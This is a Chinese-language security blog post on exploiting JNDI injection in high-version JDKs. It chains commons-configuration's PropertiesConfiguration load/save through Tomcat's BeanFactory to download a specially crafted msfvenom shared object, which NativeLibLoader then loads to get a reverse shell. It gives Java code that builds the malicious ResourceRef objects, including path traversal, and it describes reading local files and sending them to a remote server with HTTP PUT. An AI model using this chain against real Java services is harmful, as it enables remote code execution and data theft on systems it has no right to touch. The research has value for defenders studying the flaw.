探索高版本 JDK 下 JNDI 漏洞的利用方法:第二章

浅蓝 跳跳糖社区 2022-03-19 19:28

0x00 背景

我在前段时间写过一篇《探索高版本 JDK 下 JNDI 漏洞的利用方法》,里面例举了几种可以用作 JNDI 漏洞在Tomcat7和非Tomcat时的利用方法。

其中提到NativeLibLoader能够实现 JNI 功能加载 so/dll/dylib 文件。

但有几个前提条件。

  • • 用户可以用某种方式写入一个文件内容开头可控的二进制文件
  • • 这个文件名必须是以 so/dll/dylib 结尾
  • • 必须知道这个文件的绝对路径

这几个条件会使危害大打折扣,所以需要再找到一个写文件的工具类。

通常写文件的类只会通过一个方法去写入。如:FileUtils.writeStringToFile(file,content)

但写文件的工具类基本上都要传入至少两个参数,即文件名和文件内容,这样就不满足BeanFactory的条件了。

所以如果要写文件只能分两步走。

1
2
XXX.setContent("hello")
XXX.saveToFile("/tmp/a.so")

例如这样,但符合条件且常用的库很少。

或者换一种思路,把写文件换成文件下载。

好在我运气够好手工找到commons-configuration里面有一个。

0x01 初步分析

FileConfiguration实现了这个接口的都是可以写文件的。

1
2
3
4
5
6
7
8
9
HierarchicalINIConfiguration
INIConfiguration
MultiFileHierarchicalConfiguration
PatternSubtreeConfigurationWrapper
PropertiesConfiguration
XMLConfiguration
XMLPropertiesConfiguration
PropertyListConfiguration
XMLPropertyListConfiguration

这几个类都实现自FileConfiguration 其中部分类有无参构造,且父抽象类里都有load(String)save(String)方法。

从字面意思上就能看出来这是可以下载远程文件的。

先来看一下 load 和 save 方法是怎样处理的。

load(String)

图片

org.apache.commons.configuration.AbstractFileConfiguration#load(java.lang.String)第100行会根据fileName变量转成一个URL对象。

fileName 可以是文件路径也可以是一个 Java 支持协议的URL

e.g. fileName=/etc/passwd fileName=file:///etc/passwd fileName=http://b1ue.cn/1.txt

load(URL)

图片

这里调用了 getInputStream 去获取URL的输入流

getInputStream

图片

1
org.apache.commons.configuration.DefaultFileSystem#getInputStream(java.net.URL)

这里判断了文件如果不是目录类型就去获取输入流

load(InputStream,String)

图片

这里去调用了子类重写的 load(Reader) 方法

save

save 方法和 load的流程是一样的。

0x02 筛选目标

首先明确一下目标,我要写一个文件头可控的二进制文件到指定的文件路径中。

所以首先要看一下筛选出来的那几个类有没有能够控制文件开头的。

INIConfiguration

文件开头就输出了一个[,直接忽略。

HierarchicalINIConfiguration

同上,忽略。

XMLConfiguration / XMLPropertiesConfiguration / XMLPropertyListConfiguration

输出的都是XML格式,忽略。

PropertyListConfiguration

会输出 {开头,忽略。

只有 PropertiesConfiguration 是可以控制文件开头的。

图片

0x03 Properties

跟进到org.apache.commons.configuration.PropertiesConfiguration.PropertiesWriter#writeProperty看一下是如何去写文件内容的。

图片

这里分别写入了 Key、分隔符、Value、换行。

要想控制文件的开头,就要能够完全控制 Key 。

图片

这里在写入Key的时候会把\f\t空格:=这几个字符前面都加上一个反斜杠\

Value 写入时则会用 escapeJava 进行一次 UNICODE 编码。

图片

所以写文件的主要希望都在 Key 上面。

这里搞清楚了 Key Value 是怎么写的了,还需要知道 Key Value 怎么填充。

图片

图片

跟进PropertiesConfigurationLayout#load 可以看到它先把输入流转成了PropertiesReader

然后循环读取每一对Property并存储在集合等 save时使用。

nextProperty

跟进第 152 行PropertiesReader#nextProperty

图片图片

这里做了两件事,第一个是520行的读一行字符串,第二个是524行正则提取。

readProperty

图片

这里只有一点需要注意:第507行会 trim 处理字符串的空字符,会影响到程序的完整。

parseProperty

图片

这里用正则从读到的一行字符串里分别提取 “Key”、 “分隔符”、“Value” 并赋值。

图片

这里需要注意的是 group(1) 获取到的内容必须是 so 文件的内容。

initPropertyXXX

图片

这里分别给 Key 和 Value 赋值时进行了 Unicode 解码。

0x04 小结

把前面写的内容做一个阶段小结。

  • • 我可以写一个多行的这样格式的文件 Key=Value 或者 Key:Value 或者 Key空格Value
  • • Key在读取的时候会进行一次Unicode解码,写入的时候会在空格\f\t=: 前面插入一个\反斜杠
  • • Value在读取的时候会进行一次Unicode解码,在写入的时候会进行Unicode编码(“空格” “=” “:”不会处理),它的用处不大,可以置空也可以写简单的数据

图片

图片

以上是文件经过 PropertiesConfiguration 处理的前后对比。

所以需要让 unicode 编码后的 so 文件写在key部分,然后Value置空,Key 后面写的分隔符和Value不能影响到 so 文件的正常运行。

0x05 构造so文件

正常来讲编译出来的 so 都有可能会带上\f\t:=空格这些字符,有些字符是可以替换的,有些则会影响到程序的正常运行。

一开始我以为 msfvenom 是可以用 -b 参数来避免出现这些字符的,但实际上并不能完全避开这些字符,不管怎么试都至少会有一个黑名单字符是删不掉也不能改的。

这里要感谢一下我滴两位大哥 @leommxj @swing帮忙才解决了问题,以及感谢“赛博回忆录”群友们的热心帮助(有兴趣的推荐加入这个知识星球学习)。

图片

用 msfvenom 生成出来的 elf-so 会有一个 \x0c \x0c=\f所以在 Key 部位写文件内容的时候会被处理,会破坏 so 的完整,此处也无法单独替换成别的字符。

图片

经过 @leommxj 师傅的帮助,最终在高亮色部位做修改后既不影响程序的正常运行,又做到了去除\f的效果。

按理说现在只需要对这个so文件全文进行UNICODE编码,然后在结尾加上 =|空格|:就可以构造出一个待下载的so文件了。

图片

我把 so 文件用StringEscapeUtils.escapeJava进行了UNICODE编码处理并在文件结尾加了一个=符号。

这样在读Property的时候 Key就是UNICODE解码后的 .so 文件内容,但在本地测试的时候发现它报了栈溢出,原因是默认的栈太小要匹配的文件内容太大,当我设置了JVM参数-Xss2m时才通过了正则校验。

图片

因为有太多的\\u0000字符串,我删到剩了 1598b 左右就没有再报栈溢出了。

目前我想到有这几个思路

  • • 通过精简原文件再编码使其控制在1600左右的大小
  • • 通过写入多行Key 来使其每一行的长度在编码后不超过1600,并且在插入=\n |空格\n|:\n后不影响程序的正常运行

第二种方式更容易解决一点。

图片

这个问题再一次在 @swing @leommxj 师傅的帮助下解决了。

E0h位置高亮处替换成\x3d\x0a即可。

图片

经过这段代码测试后没有再爆出栈溢出的问题。

图片

因为经过编码后的 so 文件分为了两行,每一行的字符都没有超过1600。

图片

对比一下修改后的 worked.so 文件和经过解码后的 decode.so 文件除了最后面插入的一个=\n以外没有其他变化。

0x06 写文件

首先准备好经过处理的 unicode.so 文件,开启一个 http 端口等待下载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private ResourceRef downloadFile(String src, String desc) {
ResourceRef ref = new ResourceRef("org.apache.commons.configuration.PropertiesConfiguration", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=load,b=save"));
ref.add(new StringRefAddr("a",src));
ref.add(new StringRefAddr("b",desc));
return ref;
}

private ResourceRef nativeLoad(String path){
ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../../../../../../.."+path));
return ref;
}

然后启动 LDAP 服务器准备返回这两个 ResourceRef 对象。

图片

分别让有 JNDI 漏洞的应用去触发下载文件和加载so文件。

最终成功触发 so 反弹shell的代码,文件写入+RCE告一段落。

0x07 文件读取

前面讲到由 load 和 save 方法组成了文件下载的功能。

其实也不止可以下载文件,还可以把本地文件发送到远程服务器。

图片

在 save 方法里它会有一个获取输出流的过程,当 save 方法传进来 url 获取的 file 对象是 null 的时候就会去发起一个 PUT HTTP 请求

图片

把 save 和 load 传入的参数调换一下这样就可以做到文件读取的效果了。

图片

还有一个需要注意的问题,java的file协议是支持读目录的,如果想要读取目录内容的话按照它 getInputStream 方法写的代码来看是无法直接读的,因为做了一个是否为目录的判断。

所以只要让 file = null 就可以了

图片

file 协议也不让用,可以用 netdoc 可以代替。

图片

我本地测试了一下可以用 INIConfiguration 来读取,读到的内容更全一点。